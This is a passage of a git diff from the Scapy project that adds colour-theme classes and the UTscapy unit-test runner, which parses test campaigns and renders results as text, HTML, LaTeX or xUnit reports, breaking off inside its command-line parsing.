+    style_emph_field_name = Color.cyan+Color.bold
+    style_emph_field_value = Color.red+Color.bold
+    style_packetlist_name = Color.black+Color.bold
+    style_packetlist_proto = Color.yellow+Color.bold
+    style_packetlist_value = Color.purple+Color.bold
+    style_fail = Color.red+Color.bold
+    style_success = Color.green
+    style_even = Color.black+Color.bold
+    style_odd = Color.grey
+    style_opening = Color.yellow
+    style_active = Color.grey+Color.bold
+    style_closed = Color.black+Color.bold
+    style_left = Color.cyan+Color.bold
+    style_right = Color.red+Color.bold
+    style_logo = Color.green+Color.bold
+
+
+class FormatTheme(ColorTheme):
+    def __getattr__(self, attr):
+        if attr.startswith("__"):
+            raise AttributeError(attr)
+        colfmt = self.__class__.__dict__.get("style_%s" % attr, "%s")
+        return create_styler(fmt2 = colfmt)       
+
+class LatexTheme(FormatTheme):
+    style_prompt = r"\textcolor{blue}{%s}"
+    style_not_printable = r"\textcolor{gray}{%s}"
+    style_layer_name = r"\textcolor{red}{\bf %s}"
+    style_field_name = r"\textcolor{blue}{%s}"
+    style_field_value = r"\textcolor{purple}{%s}"
+    style_emph_field_name = r"\textcolor{blue}{\underline{%s}}" #ul
+    style_emph_field_value = r"\textcolor{purple}{\underline{%s}}" #ul
+    style_packetlist_name = r"\textcolor{red}{\bf %s}"
+    style_packetlist_proto = r"\textcolor{blue}{%s}"
+    style_packetlist_value = r"\textcolor{purple}{%s}"
+    style_fail = r"\textcolor{red}{\bf %s}"
+    style_success = r"\textcolor{blue}{\bf %s}"
+    style_left = r"\textcolor{blue}{%s}"
+    style_right = r"\textcolor{red}{%s}"
+#    style_even = r"}{\bf "
+#    style_odd = ""
+    style_logo = r"\textcolor{green}{\bf %s}"
+
+class LatexTheme2(FormatTheme):
+    style_prompt = r"@`@textcolor@[@blue@]@@[@%s@]@"
+    style_not_printable = r"@`@textcolor@[@gray@]@@[@%s@]@"
+    style_layer_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@"
+    style_field_name = r"@`@textcolor@[@blue@]@@[@%s@]@"
+    style_field_value = r"@`@textcolor@[@purple@]@@[@%s@]@"
+    style_emph_field_name = r"@`@textcolor@[@blue@]@@[@@`@underline@[@%s@]@@]@" 
+    style_emph_field_value = r"@`@textcolor@[@purple@]@@[@@`@underline@[@%s@]@@]@" 
+    style_packetlist_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@"
+    style_packetlist_proto = r"@`@textcolor@[@blue@]@@[@%s@]@"
+    style_packetlist_value = r"@`@textcolor@[@purple@]@@[@%s@]@"
+    style_fail = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@"
+    style_success = r"@`@textcolor@[@blue@]@@[@@`@bfserices@[@@]@%s@]@"
+    style_even = r"@`@textcolor@[@gray@]@@[@@`@bfseries@[@@]@%s@]@"
+#    style_odd = r"@`@textcolor@[@black@]@@[@@`@bfseries@[@@]@%s@]@"
+    style_left = r"@`@textcolor@[@blue@]@@[@%s@]@"
+    style_right = r"@`@textcolor@[@red@]@@[@%s@]@"
+    style_logo = r"@`@textcolor@[@green@]@@[@@`@bfseries@[@@]@%s@]@"
+
+class HTMLTheme(FormatTheme):
+    style_prompt = "<span class=prompt>%s</span>"
+    style_not_printable = "<span class=not_printable>%s</span>"
+    style_layer_name = "<span class=layer_name>%s</span>"
+    style_field_name = "<span class=field_name>%s</span>"
+    style_field_value = "<span class=field_value>%s</span>"
+    style_emph_field_name = "<span class=emph_field_name>%s</span>"
+    style_emph_field_value = "<span class=emph_field_value>%s</span>"
+    style_packetlist_name = "<span class=packetlist_name>%s</span>"
+    style_packetlist_proto = "<span class=packetlist_proto>%s</span>"
+    style_packetlist_value = "<span class=packetlist_value>%s</span>"
+    style_fail = "<span class=fail>%s</span>"
+    style_success = "<span class=success>%s</span>"
+    style_even = "<span class=even>%s</span>"
+    style_odd = "<span class=odd>%s</span>"
+    style_left = "<span class=left>%s</span>"
+    style_right = "<span class=right>%s</span>"
+
+class HTMLTheme2(HTMLTheme):
+    style_prompt = "#[#span class=prompt#]#%s#[#/span#]#"
+    style_not_printable = "#[#span class=not_printable#]#%s#[#/span#]#"
+    style_layer_name = "#[#span class=layer_name#]#%s#[#/span#]#"
+    style_field_name = "#[#span class=field_name#]#%s#[#/span#]#"
+    style_field_value = "#[#span class=field_value#]#%s#[#/span#]#"
+    style_emph_field_name = "#[#span class=emph_field_name#]#%s#[#/span#]#"
+    style_emph_field_value = "#[#span class=emph_field_value#]#%s#[#/span#]#"
+    style_packetlist_name = "#[#span class=packetlist_name#]#%s#[#/span#]#"
+    style_packetlist_proto = "#[#span class=packetlist_proto#]#%s#[#/span#]#"
+    style_packetlist_value = "#[#span class=packetlist_value#]#%s#[#/span#]#"
+    style_fail = "#[#span class=fail#]#%s#[#/span#]#"
+    style_success = "#[#span class=success#]#%s#[#/span#]#"
+    style_even = "#[#span class=even#]#%s#[#/span#]#"
+    style_odd = "#[#span class=odd#]#%s#[#/span#]#"
+    style_left = "#[#span class=left#]#%s#[#/span#]#"
+    style_right = "#[#span class=right#]#%s#[#/span#]#"
+
+
+def apply_ipython_style(shell):
+    """Updates the specified IPython console shell with
+    the conf.color_theme scapy theme."""
+    try:
+        from IPython.terminal.prompts import Prompts, Token
+    except:
+        from scapy.error import log_loading
+        log_loading.warning(
+            "IPython too old. Shell color won't be handled."
+            )
+        return
+    from scapy.config import conf
+    if isinstance(conf.prompt, Prompts):
+        shell.prompts_class = conf.prompt # Set custom prompt style
+    else:
+        class ClassicPrompt(Prompts):
+            def in_prompt_tokens(self, cli=None):
+               return [(Token.Prompt, str(conf.prompt)),]
+            def out_prompt_tokens(self):
+               return [(Token.OutPrompt, ''),]
+        shell.prompts_class=ClassicPrompt # Apply classic prompt style
+    shell.highlighting_style_overrides = { # Register and apply scapy color style
+        Token.Prompt: Color.ansi_to_pygments(conf.color_theme.style_prompt),
+    }
+    try:
+        get_ipython().refresh_style()
+    except NameError:
+        pass
diff --git a/scapy/tools/UTscapy.py b/scapy/tools/UTscapy.py
new file mode 100755
index 0000000..568bac6
--- /dev/null
+++ b/scapy/tools/UTscapy.py
@@ -0,0 +1,850 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Unit testing infrastructure for Scapy
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+import sys, getopt, imp, glob, importlib
+import hashlib, copy, bz2, base64, os.path, time, traceback, zlib
+from scapy.consts import WINDOWS
+import scapy.modules.six as six
+from scapy.modules.six.moves import range
+
+
+### Util class ###
+
+class Bunch:
+    __init__ = lambda self, **kw: setattr(self, '__dict__', kw)
+
+#### Import tool ####
+
+def import_module(name):
+    name = os.path.realpath(name)
+    thepath = os.path.dirname(name)
+    name = os.path.basename(name)
+    if name.endswith(".py"):
+        name = name[:-3]
+    f,path,desc = imp.find_module(name,[thepath])
+    
+    try:
+        return imp.load_module(name, f, path, desc)
+    finally:
+        if f:
+            f.close()
+
+
+#### INTERNAL/EXTERNAL FILE EMBEDDING ####
+
+class File:
+    def __init__(self, name, URL, local):
+        self.name = name
+        self.local = local.encode("utf8")
+        self.URL = URL
+    def get_local(self):
+        return bz2.decompress(base64.decodestring(self.local))
+    def get_URL(self):
+        return self.URL
+    def write(self, dir):
+        if dir:
+            dir += "/"
+        open(dir+self.name,"wb").write(self.get_local())
+
+        
+# Embed a base64 encoded bziped version of js and css files
+# to work if you can't reach Internet.
+class External_Files:
+    UTscapy_js = File("UTscapy.js", "http://www.secdev.org/projects/UTscapy/UTscapy.js",
+"""QlpoOTFBWSZTWWVijKQAAXxfgERUYOvAChIhBAC/79+qQAH8AFA0poANAMjQAAAG
+ABo0NGEZNBo00BhgAaNDRhGTQaNNAYFURJinplGaKbRkJiekzSenqmpA0Gm1LFMp
+RUklVQlK9WUTZYpNFI1IiEWEFT09Sfj5uO+qO6S5DQwKIxM92+Zku94wL6V/1KTK
+an2c66Ug6SmVKy1ZIrgauxMVLF5xLH0lJRQuKlqLF10iatlTzqvw7S9eS3+h4lu3
+GZyMgoOude3NJ1pQy8eo+X96IYZw+ynehsiPj73m0rnvQ3QXZ9BJQiZQYQ5/uNcl
+2WOlC5vyQqV/BWsnr2NZYLYXQLDs/Bffk4ZfR4/SH6GfA5Xlek4xHNHqbSsRbREO
+gueXo3kcYi94K6hSO3ldD2O/qJXOFqJ8o3TE2aQahxtQpCVUKQMvODHwu2YkaORY
+ZC6gihEallcHDIAtRPScBACAJnUggYhLDX6DEko7nC9GvAw5OcEkiyDUbLdiGCzD
+aXWMC2DuQ2Y6sGf6NcRuON7QSbhHsPc4KKmZ/xdyRThQkGVijKQ=""")
+    UTscapy_css = File("UTscapy.css","http://www.secdev.org/projects/UTscapy/UTscapy.css",
+"""QlpoOTFBWSZTWTbBCNEAAE7fgHxwSB//+Cpj2QC//9/6UAR+63dxbNzO3ccmtGEk
+pM0m1I9E/Qp6g9Q09TNQ9QDR6gMgAkiBFG9U9TEGRkGgABoABoBmpJkRAaAxD1AN
+Gh6gNADQBzAATJgATCYJhDAEYAEiQkwIyJk0n6qenpqeoaMUeo9RgIxp6pX78kfx
+Jx4MUhDHKEb2pJAYAelG1cybiZBBDipH8ocxNyHDAqTUxiQmIAEDE3ApIBUUECAT
+7Lvlf4xA/sVK0QHkSlYtT0JmErdOjx1v5NONPYSjrIhQnbl1MbG5m+InMYmVAWJp
+uklD9cNdmQv2YigxbEtgUrsY2pDDV/qMT2SHnHsViu2rrp2LA01YJIHZqjYCGIQN
+sGNobFxAYHLqqMOj9TI2Y4GRpRCUGu82PnMnXUBgDSkTY4EfmygaqvUwbGMbPwyE
+220Q4G+sDvw7+6in3CAOS634pcOEAdREUW+QqMjvWvECrGISo1piv3vqubTGOL1c
+ssrFnnSfU4T6KSCbPs98HJ2yjWN4i8Bk5WrM/JmELLNeZ4vgMkA4JVQInNnWTUTe
+gmMSlJd/b7JuRwiM5RUzXOBTa0e3spO/rsNJiylu0rCxygdRo2koXdSJzmUVjJUm
+BOFIkUKq8LrE+oT9h2qUqqUQ25fGV7e7OFkpmZopqUi0WeIBzlXdYY0Zz+WUJUTC
+RC+CIPFIYh1RkopswMAop6ZjuZKRqR0WNuV+rfuF5aCXPpxAm0F14tPyhf42zFMT
+GJUMxxowJnoauRq4xGQk+2lYFxbQ0FiC43WZSyYLHMuo5NTJ92QLAgs4FgOyZQqQ
+xpsGKMA0cIisNeiootpnlWQvkPzNGUTPg8jqkwTvqQLguZLKJudha1hqfBib1IfO
+LNChcU6OqF+3wyPKg5Y5oSbSJPAMcRDANwmS2i9oZm6vsD1pLkWtFGbAkEjjCuEU
+W1ev1IsF2UVmWYFtJkqLT708ApUBK/ig3rbJWSq7RGQd3sSrOKu3lyKzTBdkXK2a
+BGLV5dS1XURdKxaRkMplLLQxsimBYZEAa8KQkYyI+4EagMqycRR7RgwtZFxJSu0T
+1q5wS2JG82iETHplbNj8DYo9IkmKzNAiw4FxK8bRfIYvwrbshbEagL11AQJFsqeZ
+WeXDoWEx2FMyyZRAB5QyCFnwYtwtWAQmmITY8aIM2SZyRnHH9Wi8+Sr2qyCscFYo
+vzM985aHXOHAxQN2UQZbQkUv3D4Vc+lyvalAffv3Tyg4ks3a22kPXiyeCGweviNX
+0K8TKasyOhGsVamTUAZBXfQVw1zmdS4rHDnbHgtIjX3DcCt6UIr0BHTYjdV0JbPj
+r1APYgXihjQwM2M83AKIhwQQJv/F3JFOFCQNsEI0QA==""")
+    def get_local_dict(cls):
+        return {x: y.name for (x, y) in six.iteritems(cls.__dict__)
+                if isinstance(y, File)}
+    get_local_dict = classmethod(get_local_dict)
+    def get_URL_dict(cls):
+        return {x: y.URL for (x, y) in six.iteritems(cls.__dict__)
+                if isinstance(y, File)}
+    get_URL_dict = classmethod(get_URL_dict)
+
+
+#### HELPER CLASSES FOR PARAMETRING OUTPUT FORMAT ####
+
+class EnumClass:
+    def from_string(cls,x):
+        return cls.__dict__[x.upper()]
+    from_string = classmethod(from_string)
+    
+class Format(EnumClass):
+    TEXT  = 1
+    ANSI  = 2
+    HTML  = 3
+    LATEX = 4
+    XUNIT = 5
+
+
+#### TEST CLASSES ####
+
+class TestClass:
+    def __getitem__(self, item):
+        return getattr(self, item)
+    def add_keywords(self, kws):
+        if isinstance(kws, six.string_types):
+            kws = [kws]
+        for kwd in kws:
+            if kwd.startswith('-'):
+                try:
+                    self.keywords.remove(kwd[1:])
+                except KeyError:
+                    pass
+            else:
+                self.keywords.add(kwd)
+
+class TestCampaign(TestClass):
+    def __init__(self, title):
+        self.title = title
+        self.filename = None
+        self.headcomments = ""
+        self.campaign = []
+        self.keywords = set()
+        self.crc = None
+        self.sha = None
+        self.preexec = None
+        self.preexec_output = None
+        self.end_pos = 0
+    def add_testset(self, testset):
+        self.campaign.append(testset)
+        testset.keywords.update(self.keywords)
+    def startNum(self, beginpos):
+        for ts in self:
+            for t in ts:
+                t.num = beginpos
+                beginpos += 1
+        self.end_pos = beginpos
+    def __iter__(self):
+        return self.campaign.__iter__()
+    def all_tests(self):
+        for ts in self:
+            for t in ts:
+                yield t
+
+class TestSet(TestClass):
+    def __init__(self, name):
+        self.name = name
+        self.tests = []
+        self.comments = ""
+        self.keywords = set()
+        self.crc = None
+        self.expand = 1
+    def add_test(self, test):
+        self.tests.append(test)
+        test.keywords.update(self.keywords)
+    def __iter__(self):
+        return self.tests.__iter__()
+
+class UnitTest(TestClass):
+    def __init__(self, name):
+        self.name = name
+        self.test = ""
+        self.comments = ""
+        self.result = ""
+        self.res = True  # must be True at init to have a different truth value than None
+        self.output = ""
+        self.num = -1
+        self.keywords = set()
+        self.crc = None
+        self.expand = 1
+    def decode(self):
+        if six.PY2:
+            self.test = self.test.decode("utf8", "ignore")
+            self.output = self.output.decode("utf8", "ignore")
+            self.comments = self.comments.decode("utf8", "ignore")
+            self.result = self.result.decode("utf8", "ignore")
+    def __nonzero__(self):
+        return self.res
+    __bool__ = __nonzero__
+
+
+# Careful note: all data not included will be set by default.
+# Use -c as first argument !!
+def parse_config_file(config_path, verb=3):
+    """Parse provided json to get configuration
+    Empty default json:
+    {
+      "testfiles": [],
+      "onlyfailed": false,
+      "verb": 2,
+      "dump": 0,
+      "crc": true,
+      "scapy": "scapy",
+      "preexec": {},
+      "global_preexec": "",
+      "outputfile": null,
+      "local": true,
+      "format": "ansi",
+      "num": null,
+      "modules": [],
+      "kw_ok": [],
+      "kw_ko": []
+    }
+
+    """
+    import json, unicodedata
+    with open(config_path) as config_file:
+        data = json.load(config_file, encoding="utf8")
+        if verb > 2:
+            print("### Loaded config file", config_path, file=sys.stderr)
+    def get_if_exist(key, default):
+        return data[key] if key in data else default
+    return Bunch(testfiles=get_if_exist("testfiles", []), onlyfailed=get_if_exist("onlyfailed", False),
+                 verb=get_if_exist("verb", 3), dump=get_if_exist("dump", 0), crc=get_if_exist("crc", 1),
+                 scapy=get_if_exist("scapy", "scapy"), preexec=get_if_exist("preexec", {}),
+                 global_preexec=get_if_exist("global_preexec", ""), outfile=get_if_exist("outputfile", sys.stdout),
+                 local=get_if_exist("local", 0), num=get_if_exist("num", None), modules=get_if_exist("modules", []),
+                 kw_ok=get_if_exist("kw_ok", []), kw_ko=get_if_exist("kw_ko", []), format=get_if_exist("format", "ansi"))
+
+#### PARSE CAMPAIGN ####
+
+def parse_campaign_file(campaign_file):
+    test_campaign = TestCampaign("Test campaign")
+    test_campaign.filename=  campaign_file.name
+    testset = None
+    test = None
+    testnb = 0
+
+    for l in campaign_file.readlines():
+        if l[0] == '#':
+            continue
+        if l[0] == "~":
+            (test or testset or test_campaign).add_keywords(l[1:].split())
+        elif l[0] == "%":
+            test_campaign.title = l[1:].strip()
+        elif l[0] == "+":
+            testset = TestSet(l[1:].strip())
+            test_campaign.add_testset(testset)
+            test = None
+        elif l[0] == "=":
+            test = UnitTest(l[1:].strip())
+            test.num = testnb
+            testnb += 1
+            testset.add_test(test)
+        elif l[0] == "*":
+            if test is not None:
+                test.comments += l[1:]
+            elif testset is not None:
+                testset.comments += l[1:]
+            else:
+                test_campaign.headcomments += l[1:]
+        else:
+            if test is None:
+                if l.strip():
+                    print("Unknown content [%s]" % l.strip(), file=sys.stderr)
+            else:
+                test.test += l
+    return test_campaign
+
+def dump_campaign(test_campaign):
+    print("#"*(len(test_campaign.title)+6))
+    print("## %(title)s ##" % test_campaign)
+    print("#"*(len(test_campaign.title)+6))
+    if test_campaign.sha and test_campaign.crc:
+        print("CRC=[%(crc)s] SHA=[%(sha)s]" % test_campaign)
+    print("from file %(filename)s" % test_campaign)
+    print()
+    for ts in test_campaign:
+        if ts.crc:
+            print("+--[%s]%s(%s)--" % (ts.name,"-"*max(2,80-len(ts.name)-18),ts.crc))
+        else:
+            print("+--[%s]%s" % (ts.name,"-"*max(2,80-len(ts.name)-6)))
+        if ts.keywords:
+            print("  kw=%s" % ",".join(ts.keywords))
+        for t in ts:
+            print("%(num)03i %(name)s" % t)
+            c = k = ""
+            if t.keywords:
+                k = "kw=%s" % ",".join(t.keywords)
+            if t.crc:
+                c = "[%(crc)s] " % t
+            if c or k:
+                print("    %s%s" % (c,k)) 
+
+#### COMPUTE CAMPAIGN DIGESTS ####
+if six.PY2:
+    def crc32(x):
+        return "%08X" % (0xffffffff & zlib.crc32(x))
+
+    def sha1(x):
+         return hashlib.sha1(x).hexdigest().upper()
+else:
+    def crc32(x):
+        return "%08X" % (0xffffffff & zlib.crc32(bytearray(x, "utf8")))
+
+    def sha1(x):
+        return hashlib.sha1(x.encode("utf8")).hexdigest().upper()
+
+def compute_campaign_digests(test_campaign):
+    dc = ""
+    for ts in test_campaign:
+        dts = ""
+        for t in ts:
+            dt = t.test.strip()
+            t.crc = crc32(dt)
+            dts += "\0"+dt
+        ts.crc = crc32(dts)
+        dc += "\0\x01"+dts
+    test_campaign.crc = crc32(dc)
+    test_campaign.sha = sha1(open(test_campaign.filename).read())
+
+
+#### FILTER CAMPAIGN #####
+
+def filter_tests_on_numbers(test_campaign, num):
+    if num:
+        for ts in test_campaign:
+            ts.tests = [t for t in ts.tests if t.num in num]
+        test_campaign.campaign = [ts for ts in test_campaign.campaign
+                                  if ts.tests]
+
+def filter_tests_keep_on_keywords(test_campaign, kw):
+    def kw_match(lst, kw):
+        for k in lst:
+            if k in kw:
+                return True
+        return False
+    
+    if kw:
+        for ts in test_campaign:
+            ts.tests = [t for t in ts.tests if kw_match(t.keywords, kw)]
+
+def filter_tests_remove_on_keywords(test_campaign, kw):
+    def kw_match(lst, kw):
+        for k in kw:
+            if k in lst:
+                return True
+        return False
+    
+    if kw:
+        for ts in test_campaign:
+            ts.tests = [t for t in ts.tests if not kw_match(t.keywords, kw)]
+
+
+def remove_empty_testsets(test_campaign):
+    test_campaign.campaign = [ts for ts in test_campaign.campaign if ts.tests]
+
+
+#### RUN CAMPAIGN #####
+
+def run_campaign(test_campaign, get_interactive_session, verb=3, ignore_globals=None):
+    passed=failed=0
+    if test_campaign.preexec:
+        test_campaign.preexec_output = get_interactive_session(test_campaign.preexec.strip(), ignore_globals=ignore_globals)[0]
+    for testset in test_campaign:
+        for t in testset:
+            t.output,res = get_interactive_session(t.test.strip(), ignore_globals=ignore_globals)
+            the_res = False
+            try:
+                if res is None or res:
+                    the_res= True
+            except Exception as msg:
+                t.output+="UTscapy: Error during result interpretation:\n"
+                t.output+="".join(traceback.format_exception(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2],))
+            if the_res:
+                t.res = True
+                res = "passed"
+                passed += 1
+            else:
+                t.res = False
+                res = "failed"
+                failed += 1
+            t.result = res
+            t.decode()
+            if verb > 1:
+                print("%(result)6s %(crc)s %(name)s" % t, file=sys.stderr)
+    test_campaign.passed = passed
+    test_campaign.failed = failed
+    if verb:
+        print("Campaign CRC=%(crc)s  SHA=%(sha)s" % test_campaign, file=sys.stderr)
+        print("PASSED=%i FAILED=%i" % (passed, failed), file=sys.stderr)
+    return failed
+
+
+#### INFO LINES ####
+
+def info_line(test_campaign):
+    filename = test_campaign.filename
+    if filename is None:
+        return "Run %s by UTscapy" % time.ctime()
+    else:
+        return "Run %s from [%s] by UTscapy" % (time.ctime(), filename)
+
+def html_info_line(test_campaign):
+    filename = test_campaign.filename
+    if filename is None:
+        return """Run %s by <a href="http://www.secdev.org/projects/UTscapy/">UTscapy</a><br>""" % time.ctime()
+    else:
+        return """Run %s from [%s] by <a href="http://www.secdev.org/projects/UTscapy/">UTscapy</a><br>""" % (time.ctime(), filename)
+
+
+#### CAMPAIGN TO something ####
+
+def campaign_to_TEXT(test_campaign):
+    output="%(title)s\n" % test_campaign
+    output += "-- "+info_line(test_campaign)+"\n\n"
+    output += "Passed=%(passed)i\nFailed=%(failed)i\n\n%(headcomments)s\n" % test_campaign
+    
+    for testset in test_campaign:
+        if any(t.expand for t in testset):
+            output += "######\n## %(name)s\n######\n%(comments)s\n\n" % testset
+            for t in testset:
+                if t.expand:
+                    output += "###(%(num)03i)=[%(result)s] %(name)s\n%(comments)s\n%(output)s\n\n" % t
+
+    return output
+ 
+def campaign_to_ANSI(test_campaign):
+    output="%(title)s\n" % test_campaign
+    output += "-- "+info_line(test_campaign)+"\n\n"
+    output += "Passed=%(passed)i\nFailed=%(failed)i\n\n%(headcomments)s\n" % test_campaign
+    
+    for testset in test_campaign:
+        if any(t.expand for t in testset):
+            output += "######\n## %(name)s\n######\n%(comments)s\n\n" % testset
+            for t in testset:
+                if t.expand:
+                    output += "###(%(num)03i)=[%(result)s] %(name)s\n%(comments)s\n%(output)s\n\n" % t
+
+    return output
+
+def campaign_to_xUNIT(test_campaign):
+    output='<?xml version="1.0" encoding="UTF-8" ?>\n<testsuite>\n'
+    for testset in test_campaign:
+        for t in testset:
+            output += ' <testcase classname="%s"\n' % testset.name.encode("string_escape").replace('"',' ')
+            output += '           name="%s"\n' % t.name.encode("string_escape").replace('"',' ')
+            output += '           duration="0">\n' % t
+            if not t.res:
+                output += '<error><![CDATA[%(output)s]]></error>\n' % t
+            output += "</testcase>\n"
+    output += '</testsuite>'
+    return output
+
+
+def campaign_to_HTML(test_campaign):
+    output = """
+<h1>%(title)s</h1>
+
+<p>
+""" % test_campaign
+
+    if test_campaign.crc is not None and test_campaign.sha is not None:
+        output += "CRC=<span class=crc>%(crc)s</span> SHA=<span class=crc>%(sha)s</span><br>" % test_campaign
+    output += "<small><em>"+html_info_line(test_campaign)+"</em></small>"
+    output += test_campaign.headcomments +  "\n<p>PASSED=%(passed)i FAILED=%(failed)i<p>\n\n" % test_campaign
+
+    for testset in test_campaign:
+        output += "<h2>" % testset
+        if testset.crc is not None:
+            output += "<span class=crc>%(crc)s</span> " % testset
+        output += "%(name)s</h2>\n%(comments)s\n<ul>\n" % testset
+        for t in testset:
+            output += """<li class=%(result)s id="tst%(num)il">\n""" % t
+            if t.expand == 2:
+                output +="""
+<span id="tst%(num)i+" class="button%(result)s" onClick="show('tst%(num)i')" style="POSITION: absolute; VISIBILITY: hidden;">+%(num)03i+</span>
+<span id="tst%(num)i-" class="button%(result)s" onClick="hide('tst%(num)i')">-%(num)03i-</span>
+""" % t
+            else:
+                output += """
+<span id="tst%(num)i+" class="button%(result)s" onClick="show('tst%(num)i')">+%(num)03i+</span>
+<span id="tst%(num)i-" class="button%(result)s" onClick="hide('tst%(num)i')" style="POSITION: absolute; VISIBILITY: hidden;">-%(num)03i-</span>
+""" % t
+            if t.crc is not None:
+                output += "<span class=crc>%(crc)s</span>\n" % t
+            output += """%(name)s\n<span class="comment %(result)s" id="tst%(num)i" """ % t
+            if t.expand < 2:
+                output += """ style="POSITION: absolute; VISIBILITY: hidden;" """
+            output += """><br>%(comments)s
+<pre>
+%(output)s</pre></span>
+""" % t
+        output += "\n</ul>\n\n"
+    return output
+
+def pack_html_campaigns(runned_campaigns, data, local=0, title=None):
+    output = """
+<html>
+<head>
+<title>%(title)s</title>
+<h1>UTScapy tests</h1>
+
+<span class=button onClick="hide_all('tst')">Shrink All</span>
+<span class=button onClick="show_all('tst')">Expand All</span>
+<span class=button onClick="show_passed('tst')">Expand Passed</span>
+<span class=button onClick="show_failed('tst')">Expand Failed</span>
+
+<p>
+"""
+    for test_campaign in runned_campaigns:
+        for ts in test_campaign:
+            for t in ts:
+                output += """<span class=button%(result)s onClick="goto_id('tst%(num)il')">%(num)03i</span>\n""" % t
+        
+    output += """</p>\n\n
+<link rel="stylesheet" href="%(UTscapy_css)s" type="text/css">
+<script language="JavaScript" src="%(UTscapy_js)s" type="text/javascript"></script>
+</head>
+<body>
+%(data)s
+</body></html>
+"""
+    out_dict = {'data': data, 'title': title if title else "UTScapy tests"}
+    if local:
+        External_Files.UTscapy_js.write(os.path.dirname(test_campaign.output_file.name))
+        External_Files.UTscapy_css.write(os.path.dirname(test_campaign.output_file.name))
+        out_dict.update(External_Files.get_local_dict())
+    else:
+        out_dict.update(External_Files.get_URL_dict())
+
+    output %= out_dict
+    return output
+
+def campaign_to_LATEX(test_campaign):
+    output = r"""\documentclass{report}
+\usepackage{alltt}
+\usepackage{xcolor}
+\usepackage{a4wide}
+\usepackage{hyperref}
+
+\title{%(title)s}
+\date{%%s}
+
+\begin{document}
+\maketitle
+\tableofcontents
+
+\begin{description}
+\item[Passed:] %(passed)i
+\item[Failed:] %(failed)i
+\end{description}
+
+%(headcomments)s
+
+""" % test_campaign
+    output %= info_line(test_campaign)
+    
+    for testset in test_campaign:
+        output += "\\chapter{%(name)s}\n\n%(comments)s\n\n" % testset
+        for t in testset:
+            if t.expand:
+                output += r"""\section{%(name)s}
+            
+[%(num)03i] [%(result)s]
+
+%(comments)s
+\begin{alltt}
+%(output)s
+\end{alltt}
+
+""" % t
+
+    output += "\\end{document}\n"
+    return output
+
+
+
+#### USAGE ####
+                      
+def usage():
+    print("""Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file] 
+               [-t testfile] [-T testfile] [-k keywords [-k ...]] [-K keywords [-K ...]]
+               [-l] [-d|-D] [-F] [-q[q]] [-P preexecute_python_code]
+               [-s /path/to/scapy] [-c configfile]
+-t\t\t: provide test files (can be used many times)
+-T\t\t: if -t is used with *, remove a specific file (can be used many times)
+-l\t\t: generate local files
+-F\t\t: expand only failed tests
+-d\t\t: dump campaign
+-D\t\t: dump campaign and stop
+-C\t\t: don't calculate CRC and SHA
+-s\t\t: path to scapy.py
+-c\t\t: load a .utsc config file
+-q\t\t: quiet mode
+-qq\t\t: [silent mode]
+-n <testnum>\t: only tests whose numbers are given (eg. 1,3-7,12)
+-m <module>\t: additional module to put in the namespace
+-k <kw1>,<kw2>,...\t: include only tests with one of those keywords (can be used many times)
+-K <kw1>,<kw2>,...\t: remove tests with one of those keywords (can be used many times)
+-P <preexecute_python_code>
+""", file=sys.stderr)
+    raise SystemExit
+
+
+#### MAIN ####
+
+def execute_campaign(TESTFILE, OUTPUTFILE, PREEXEC, NUM, KW_OK, KW_KO, DUMP,
+                     FORMAT, VERB, ONLYFAILED, CRC, autorun_func, pos_begin=0, ignore_globals=None):
+    # Parse test file
+    test_campaign = parse_campaign_file(TESTFILE)
+
+    # Report parameters
+    if PREEXEC:
+        test_campaign.preexec = PREEXEC
+    
+    # Compute campaign CRC and SHA
+    if CRC:
+        compute_campaign_digests(test_campaign)
+
+    # Filter out unwanted tests
+    filter_tests_on_numbers(test_campaign, NUM)
+    for k in KW_OK:
+        filter_tests_keep_on_keywords(test_campaign, k)
+    for k in KW_KO:
+        filter_tests_remove_on_keywords(test_campaign, k)
+
+    remove_empty_testsets(test_campaign)
+
+
+    # Dump campaign
+    if DUMP:
+        dump_campaign(test_campaign)
+        if DUMP > 1:
+            sys.exit()
+
+    # Run tests
+    test_campaign.output_file = OUTPUTFILE
+    result = run_campaign(test_campaign, autorun_func[FORMAT], verb=VERB, ignore_globals=None)
+
+    # Shrink passed
+    if ONLYFAILED:
+        for t in test_campaign.all_tests():
+            if t:
+                t.expand = 0
+            else:
+                t.expand = 2
+
+    pos_end = 0
+    # Generate report
+    if FORMAT == Format.TEXT:
+        output = campaign_to_TEXT(test_campaign)
+    elif FORMAT == Format.ANSI:
+        output = campaign_to_ANSI(test_campaign)
+    elif FORMAT == Format.HTML:
+        test_campaign.startNum(pos_begin)
+        output = campaign_to_HTML(test_campaign)
+    elif FORMAT == Format.LATEX:
+        output = campaign_to_LATEX(test_campaign)
+    elif FORMAT == Format.XUNIT:
+        output = campaign_to_xUNIT(test_campaign)
+
+    return output, (result == 0), test_campaign
+
+def resolve_testfiles(TESTFILES):
+    for tfile in TESTFILES[:]:
+        if "*" in tfile:
+            TESTFILES.remove(tfile)
+            TESTFILES.extend(glob.glob(tfile))
+    return TESTFILES
+
+def main(argv):
+    ignore_globals = list(six.moves.builtins.__dict__.keys())
+
+    # Parse arguments
+    
+    FORMAT = Format.ANSI
+    TESTFILE = sys.stdin
+    OUTPUTFILE = sys.stdout
+    LOCAL = 0
+    NUM = None
+    KW_OK = []
+    KW_KO = []
+    DUMP = 0
+    CRC = True
+    ONLYFAILED = False
+    VERB = 3
+    GLOB_PREEXEC = ""
+    PREEXEC_DICT = {}
+    SCAPY = "scapy"
+    MODULES = []
+    TESTFILES = []
+    try:
+        opts = getopt.getopt(argv, "o:t:T:c:f:hln:m:k:K:DdCFqP:s:")
+        for opt,optarg in opts[0]:
+            if opt == "-h":
+                usage()
+            elif opt == "-F":
+                ONLYFAILED = True
+            elif opt == "-q":
+                VERB -= 1
+            elif opt == "-D":
+                DUMP = 2
+            elif opt == "-d":
+                DUMP = 1
+            elif opt == "-C":
+                CRC = False
+            elif opt == "-s":
+                SCAPY = optarg
+            elif opt == "-P":
